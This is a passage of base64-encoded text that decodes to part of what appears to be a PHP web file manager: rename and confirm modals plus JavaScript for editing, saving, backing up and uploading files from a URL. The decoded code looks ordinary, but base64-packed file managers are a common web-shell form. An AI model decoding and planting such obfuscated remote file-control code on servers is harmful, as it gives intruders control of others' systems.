IDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFj